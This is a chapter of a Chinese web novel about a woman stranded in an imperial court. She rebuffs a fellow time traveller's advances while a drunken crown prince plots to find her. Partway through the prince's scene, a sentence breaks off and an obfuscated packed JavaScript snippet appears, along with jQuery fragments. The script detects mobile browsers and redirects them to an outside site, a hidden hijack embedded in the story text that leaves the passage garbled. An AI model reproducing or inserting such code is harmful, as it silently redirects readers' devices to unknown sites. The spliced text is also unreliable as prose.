接下来的几日,暮雪烟接到了多方陆陆续续的支持。
天冬专门去外头淘了古书来给她看,说是记载着千载难逢的“成仙”机会的,可能会对她回去有帮助;云华则悄悄去外头听了些古老的传言,回来也绘声绘色地讲给她听。
“或许,你们可以过来看看这本书。”大家争论不休之时,赵明宇指着天冬淘来的一本古籍说。
大家走上前去,见古籍上画了一块形状怪异的玉佩,样子像几条龙纠缠在一起,荒诞又无美感。
“古籍上写着,此玉有通古识今的功效,虽具体没说,可看样子很像。”赵明宇说。
“像什么?”暮雪烟问。
“像那天我在博物馆见到的。”赵明宇犹豫片刻,还是答道。
“你不是说你都不记得了吗?”暮雪烟问。
“我……我看到这幅图,有点印象,又想起来了。”赵明宇不再解释,而是继续说道:“这后面还有一个人物小传,说是发现这块玉佩的人十分神秘,言谈举止和当今世人不一样,一度被人奉为神明。”
“可惜这块玉佩已经失传了。”天冬轻声补充。
暮雪烟的神色黯淡下来,努力迫使自己回想到底有没有这块玉。
她陷入沉睡之前的最后几秒钟,并未看到过这块玉。
但是她摸到的冰冰凉凉的东西,材质确实像玉,不排除这确实是一个方向。
“我明日拿着这本古籍去问问。”暮雪烟轻声说道:“没准有别的发现。”
入夜,暮雪烟和阿云躺下,说了会子悄悄话,不多时阿云睡着了,可暮雪烟总是睡不着,担心吵到了阿云,她索性披上外袍到院中来,坐在台阶上,悄悄看了会儿月色。
月光如水,院内如银霜筛过,倒也寂静如许。她顺着院内看向前台,又看向旁边并排的戏台,那里也失了白天的热闹,只余她一人坐在这里。
她忽然感觉到无比的落寞,裹紧了身上的外袍。
她不知道自己如今算是怎样的存在,是时间的漏洞产生的混乱?还是系统待修复的Bug?她甚至不知道自己能不能再回去,也不知道她的最终归宿在何方何舍,眼下能做的,仿佛只有裹紧外袍,不叫夜晚的冷风吹进来。
一只手按在她的肩头,再缓缓拂过。赵明宇来了,他和她一同坐下来看着月光,半晌才叹了口气。
“倾闻,你说我们是不是很有缘分?”他虽不好意思,但还是直截了当地说道:“现代情未了,又到这个时代来了。”
暮雪烟没有理他,心中仍然想着如何回去的事情。
赵明宇见她不吱声,以为有戏,便伸出一只手来虚虚搭着她的肩膀,另一只手从胸前掏出一个一寸来长的方形塑料制品来。
“这个时代的生活真是没劲。”他的呼吸颤抖着:“只能听听戏什么的,一点都不好玩。咱们之前好歹还能去电影院,去酒吧。”
暮雪烟察觉到他的呼吸越来越近,回头看了他一眼,向远处坐了坐。
“你可以去逛窑子。”她冷漠地说。
“窑子没什么好逛的,那里面的女人都不好看,我只想陪着你。”说完了,他大胆凑上去,想要亲吻她的面颊。
暮雪烟一回头,瞥见他手里拿的东西,顿时惊了一瞬。
她站起身来,劈手将他手里的东西夺过来,皱眉问:“你这是从哪儿来的?”
赵明宇无辜地解释道:“我从现代带回来的啊。”
“你去博物馆就带这个?”
赵明宇心虚了,其实那天他不是为了寻她,而是和陌生人约了在酒店,结果买好了这类计生用品,人家放了他的鸽子,他闲着无聊刷朋友圈,正看到她在自己不远处的博物馆,想着进去偶遇,这才带着计生用品穿了过来。
“不光这个,还有这个。”赵明宇又从兜里把一盒紧急避孕药拿了出来,他以为她不喜欢先前的选择。
暮雪烟将那盒药抓在手里,气得直发抖。
用脚趾头想想,都知道他为什么会随身带着这些。
果然狗改不了吃屎,他真的比她想象中还要无耻。
可她如今已经不是他的什么人了,虽生气,却也没有任何发作的理由,更何况院内每个屋中都有人在睡觉,这时候吵起来倒不值得。
“滚。”她低声说。
“什么?”赵明宇没听清,还以为她叫他过来。
“滚蛋!”她抬高了声音,扬起眉毛说。
赵明宇愣了半晌,这才反应过来,她不乐意。
“切,不干就不干,那么凶做什么。”赵明宇站起身来,悻悻地说:“又不是只有你一个女的。”
暮雪烟追上去,狠狠踹了他一脚。
“你要是敢对这个院的女生下手,我就阉了你!”
她并非开玩笑,今日她带着天冬和云华出去暴打翟润生一事,看来要想办法告诉他,叫他知道自己不是好惹的。
此时,京城中最为气派的太子府内,太子林长宁正满身酒气地坐在自家院内,旁边有几个姬妾相伴。
“接着喝。”他吩咐候益光:“再拿些酒来。”
候益光弯着腰苦着一张脸,轻声劝道:“太子爷,您别糟践自己身子啊。”
“哼。”太子虽酒醉,可眼中满是杀意,咬牙道:“父皇居然派了他入宫,真是没想到。”
“太子爷,您别想太多,只是入宫而已。皇上约莫只是想见见他了,毕竟父子亲情,太子爷总不能叫他们面都见不上吧。”候益光说。
“不止。”太子举起一坛酒来,大声说道:“皇上准他在京城里安置宅邸,这是想叫他和我这个太子打擂台呢!”
他把整坛酒摔在地上,惊得旁边的姬妾纷纷躲避。
“叫沈如春回来。”他喃喃骂道:“整日在外头,办得什么事?一件都没有成功!”
候益光更是弯下腰去不敢再搭腔。
前几日,西宁王府传来消息,前些时日太子派去诬陷温妃的“宫中老人”,竟被锦妃娘娘点破了。
那个所谓的老人根本不是温妃宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065198|161471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中的,只是一个当年在冷宫洒扫的宫女而已。
这件事传出后,没过多久,荣王府那边也将广善寺刺杀之人暗中处置了,像是不准备扩大西宁王的嫌疑了。
这两件事失败,再加上今日春闱学子一事,荣王风头更盛。
难怪太子要生气,候益光心想。
“近几日来太子府投靠的世家子弟都变少了,以往春闱之前何曾有过这般惨淡。”太子说完,愈发生气。
“太子爷。”候益光壮着胆子反驳道:“今儿还是有几个来投奔的,比往日多上许多。”
“许多?”太子仿佛想到什么好笑的事一样,站起身子,忽然又笑得弯了腰。
“你说的货色,就是那个歪瓜裂枣的什么什么生?”
“翟润生。”候益光帮着补充道:“昨儿他说有到弘文馆去寻您,可是没找到。”
“所以他就肿着半张脸来?”太子一脚踢翻了眼前的凳子,酒气全部化作怒意。
“太子爷,您得往好了想想。”候益光苦劝道:“春闱也没几日了,他为了抓住太子爷这边的机会,宁可肿着半张脸也要来,这不正代表着太子爷在民间威望不减嘛?”
“是吗?”太子忽然饶有兴致地问道:“你问他没,为何肿了脸?”
候益光咂摸半晌,还是如实回答道:“他说是昨儿夜里从玉春楼出来被人打了,天黑没看清,可他一口咬死是嘉然戏院的老板娘打的,我问他,他也没有凭据。”
“为何这样肯定?”
因着今日翟润生有心巴结,多给了候益光几两银子,候益光便耐着性子陪着他聊了一会儿,这才知道了详细情况。
“他只说他之前路过嘉然戏院,同那里头一个女孩子有仇。旁的也没有细说。”候益光说。
“王爷可是要秉公执法、为民除害?”候益光试探道。
“不用。”太子摆摆手,毫不在意:“上不得台面的事,不必大动干戈。”
“这嘉然戏院有什么来头,老板娘这般厉害?”他寻思半晌,倒莫名想起一个人来。
之前暮雪烟似乎也进过戏班,后来被林长宴看上了,结果她又跑了,弄得林长宴很是狼狈。
这件事在大良朝闹得满城风雨,京城也传过一阵,那时候他听到了还险些笑掉了大牙。
他手里这群办事的,没有一个人能叫他省心,到头来还是暮雪烟替他出了一口恶气。只是不知道她如今去了何处,也不知道她为何不同自己联系了。
“哎?”他抬起头来问道:“暮雪烟后来有下落吗?”
“这个暂时没收到消息。”候益光说:“但听探子说,荣王爷一直没有断过寻她的念头,如今除了京城,其他地方的戏院都查过了,没有查到。”
“王爷的意思是?查查嘉然戏院?”候益光问。
“对了。”太子一拍手,脚步有些踉跄:“她虽跑了,若是能寻到,对咱们必然有大用处。”
“是。”候益光赶忙上去扶住太子,低声说道:“属下这就去办。”